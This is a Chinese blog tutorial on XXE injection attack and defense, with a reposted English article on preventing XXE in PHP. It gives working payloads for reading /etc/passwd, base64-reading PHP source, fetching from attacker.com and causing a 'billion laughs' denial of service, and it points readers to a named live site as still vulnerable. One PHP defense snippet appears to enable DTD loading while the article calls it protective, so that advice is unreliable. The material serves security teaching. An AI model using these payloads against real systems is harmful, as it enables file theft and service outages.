最新消息:

XXE注入攻击与防御

php安全 admin 11983浏览 0评论

0×00 前言

XXE Injection即XML External Entity Injection,也就是XML外部实体注入攻击.漏洞是在对非安全的外部实体数据进⾏行处理时引发的安全问题.
在XML1.0标准⾥里,XML文档结构⾥里定义了实体(entity)这个概念.实体可以通过预定义在文档中调用,实体的标识符可访问本地或远程内容.如果在这个过程中引入了”污染”源,在对XML文档处理后则可能导致信息泄漏等安全问题.

entity翻译为”实体”。它的作用类似word中的”宏”,也可以理解为DW中的模板,你可以预先定义一个entity,然后在一个文档中多次调用, 或者在多个文档中调用同一个entity(XML定义了两种类型的entity。一种是我们这里说的普通entity,在XML文档中使用;另一种是参数 entity,在DTD文件中使用。)。

0×01 威胁
XXE漏洞目前还未受到广泛关注,Wooyun上几个XXE引起的安全问题:

借助XXE,攻击者可以实现任意文件读取,DOS拒绝服务攻击以及代理扫描内网等.
对于不同XML解析器,对外部实体有不同处理规则,在PHP中默认处理的函数为: xml_parse和simplexml_load xml_parse的实现方式为expat库,默认情况不会解析外部实体,而simplexml_load默认情况下会解析外部实体,造成安全威胁.除 PHP外,在Java,Python等处理xml的组件及函数中都可能存在此问题

0×02 语法
要写Payload,首先要对XML实体语法有一定了解
XML中entity的定义语法为:

<!DOCTYPE filename
[
<!ENTITY entity-name "entity-content"
]>

如果要引用一个外部资源:

<!DOCTYPE test
[  
    <!ENTITY test SYSTEM "http://xxx.xxx.com/test.xml">   
]>

ENTITY可以使用SYSTEM关键字,调用外部资源,而这里是支持很多的协议,如:http;file等

然后,在其他DoM结点中可以使用如:&test;引用该实体内容.

那么,如果在产品功能设计当中,解析的xml是由外部可控制的,那将可能形成,如:文件读取,DoS,CSRF等漏洞.

如果要引用一个外部资源,可以借助各种协议 几个例子:

file:///path/to/file.ext

http://url/file.ext

php://filter/read=convert.base64-encode/resource=conf.php

故构造几种简单的Payload模型如下:

(1)读取文件内容

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xdsec [
<!ELEMENT methodname ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<methodcall>
<methodname>&xxe;</methodname>
</methodcall>

(2)读取网站内容

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xdsec [
<!ELEMENT methodname ANY >
<!ENTITY xxe SYSTEM "http://attacker.com/text.txt" >]>
<methodcall>
<methodname>&xxe;</methodname>
</methodcall>

如果包含文件失败,可能是由于读取php等文件时文件本身包含的<等字符.可以使用Base64编码绕过,如:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xdsec [
<!ELEMENT methodname ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php" >]>
<methodcall>
<methodname>&xxe;</methodname>
</methodcall>

0×03 攻击
借助XXE,有几种可用且公开的攻击方式:

拒绝服务
POC

<?xml version = "1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]>
<lolz>&lol9;</lolz>

POC中中先定义了lol实体,值为”lol”的字符串,后在下面又定义了lol2实体,lol2实体引用10个lol实体,lol3又引用了10个 lol2实体的值,依此类推,到了最后在lolz元素中引用的lol9中,就会存在上亿个”lol”字符串此时解析数据时未做特别处理,即可能造成拒绝服 务攻击。
此外还有一种可能造成拒绝服务的Payload,借助读取/dev/random实现.

内网信息
借助各种协议如http,XXE可以协助扫描内网,可能可以访问到内网开放WEB服务的Server,并获取其他信息

jinglingshu_2014-07-09_15-43-03

 

文件读取

最常规也是最有效的利用思路

 

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xdsec [
<!ELEMENT methodname ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<methodcall>
<methodname>&xxe;</methodname>
</methodcall>

 

附上两张截图,实现文件读取的过程

jinglingshu_2014-07-09_15-43-04

jinglingshu_2014-07-09_15-43-031

0×04 防御
1.检查所使用的底层xml解析库,默认禁止外部实体的解析
2.使用第三方应用代码及时升级补丁
3.同时增强对系统的监控,防止此问题被人利用
对于PHP,由于simplexml_load_string函数的XML解析问题出在libxml库上,所以加载实体前可以调用这样一个函数

<?php
libxml_disable_entity_loader(true);
?>
以进行防护,对于XMLReader和DOM方式解析,可以参考如下代码:
<?php
// with the XMLReader functionality:
$doc = XMLReader::xml($badXml,'UTF-8',LIBXML_NONET);
// with the DOM functionality:
$dom = new DOMDocument();
$dom->loadXML($badXml,LIBXML_DTDLOAD|LIBXML_DTDATTR);
?>>

 

0×05 参考
https://www.owasp.org/index.php/Testing_for_XML_Injection_(OWASP-DV-008)
http://websec.io/2012/08/27/Preventing-XEE-in-PHP.html
http://cn2.php.net/libxml_disable_entity_loader
http://projects.webappsec.org/w/page/13247004/XML%20Injection
http://drops.wooyun.org/papers/1911

http://www.uml.org.cn/safe/201405191.asp

 

ps:pull-in任意文件遍历/下载这个网站的漏洞还存在,可以用作学习。XXE注入的本质是网站允许提交xml内容,而后台处理xml时不规范导致存在解析了xml内容中的外部实体。因此,如果网站允许提交xml内容,则可能存在XXE注入漏洞。

 

Preventing XXE in PHP

There’s an injection attack that’s been around for a while now that’s slipped under the radar for a lot of web application developers. Unfortunately, it can be one that could cause some serious information disclosure (or exploits) if it’s not taken care of. XXE (an XML eXternal Entity) injection attack takes advantage of a part of the XML structure that’s usually reserved for defining custom entities in your XML documents – the ENTITY portion of the DOCTYPE definition. This section is usually used to define custom entities for the document such as:

<!DOCTYPE root [
    <!ENTITY test1 "testing">
    <!ENTITY mantra "test all the things">
]>

In the above example you’ll see two custom entities that we’ve added to our document – test1 and mantra. This lets us do some easy (and multiple) substitutions in our XML document using the entity versions of these two, &test1; and &mantra. When these entites are expanded, their replacements strings are put in their place. This is a pretty simple example, but it should make it easier to pick up on what’s coming next.

So, this is a handy feature to have when you need it, but there’s lots of languages out there, PHP included, that don’t take something into consideration: external references. See, in our example above, we set the value to a string that we determined. What happens when the XML is coming from an outside source…like with a web service. The incoming XML could contain just about anything. Now, hopefully your code is only looking for certain values, but that’s pretty easy to figure out, especially if you’ve done a good job documenting your APIs.

The real problem is that, in PHP, when you use one of the XML parsing methods (dosen’t matter which – XMLReader, DOM or SimpleXML – they all pretty much handle it the same way by default. They take whatever entities are defined in the DOCTYPE header and try to expand them. This is good news for those looking for convenience but bad news for those that are more security minded out there as it can lead to XXE attacks without any kind of warning from the parser.

Let’s look at an example to see how it could be dangerous:

<?php
$badXml = '<!DOCTYPE root
    [
    <!ENTITY foo SYSTEM "http://test.localhost:8080/contents.txt">
    ]>
    <test><testing>&foo;</testing></test>';
?>

In the above example, we’ve defined the foo entity in our header as a link to a text document on an external site, probably one of our own. When the PHP handlers try to parse this file, they automagically substitute the &foo; entitiy reference with the contenst of that text file. So, say our PHP script is using SimpleXML to parse the incoming XML document:

<?php
$goodXML = '<test><testing>my value</testing></test>';
$doc = simplexml_load_string($goodXml);
echo $doc->testing;
?>

Now, in this example, we’re giving it a good XML structure, the kind we’re expecting with a valid value for testing. Now, imagine what might happen if we gave it the $badXML contents instead and the contents.txt file contained a bit of HTML or XML markup itself (something scary like a script tag) and you had no idea. This could lead to all sorts of problems including:

  • Cross-site scripting issues if echoed back out without filtering
  • Remote file inclusion (RFI)
  • Data injection

Really, just about any exploit you can think of might come in this way. So, as a PHP developer with security in mind, how can you prevent issues like this from happening? Well, there’s a few ways to go about it, but what they really boil down to is one thing – don’t load external entities. Since all of the XML parsing functionality that PHP offers is based on the libxml libraries, there’s one function that’s essentially a kill switch to prevent the loading of these entities:

<?php
libxml_disable_entity_loader(true);
?>

The libxml_disable_entity_loader function tells the underlying libxml parsing to not try to interpret the values of the entities in the incoming XML and leave the entity references intact. If you’re using SimpleXML, this is really the only choice to prevent an XXE attack in the incoming XML. Fortunately, the two other XML parsing methods offer a few more features to help keep you safe while still allowing for the expansion of XML entities.

<?php
// with the XMLReader functionality:
$doc = XMLReader::xml($badXml,'UTF-8',LIBXML_NONET);

// with the DOM functionality:
$dom = new DOMDocument();
$dom->loadXML($badXml,LIBXML_DTDLOAD|LIBXML_DTDATTR);
?>

In both cases, we’re adding in some predefined constant values (by name) that tell the parser to either not allow a network connection during load (LIBXML_NONET) or to try to parse the XML according to the DTD (LIBXML_DTDLOAD|LIBXML_DTDATTR). Both of these methods will keep your application safer from XXE issues. Of course, the XML you’re receiving is from an outside source and you always want to validate the data you pull from the XML to ensure it’s a) the type you expect it to be and b) that it’s not some kind of data being injected into your system.

Summary

I hope I’ve raised awareness about this very real issue for you and your XML-using application and given you a few armaments to help prevent any issues it might cause in your application.

Resources

转载请注明:jinglingshu的博客 » XXE注入攻击与防御


Warning: Use of undefined constant PRC - assumed 'PRC' (this will throw an Error in a future version of PHP) in /usr/share/nginx/html/wp-content/themes/d8/comments.php on line 17
发表我的评论
取消评论

表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

网友最新评论 (1)

  1. 红月4.402魔王版4.635服务端-传奇外传2.0服务端-完美世界一键国际经典版S服务端-魔兽世界台服国服-仿官方芒果商业服务端wow-大话西游2服务端www.i5gm.com魔兽私服开服一条龙服务QQ1325876192 魔兽私服开服一条龙服务www.i5gm.comQQ1325876192 http://www.i5gm.com/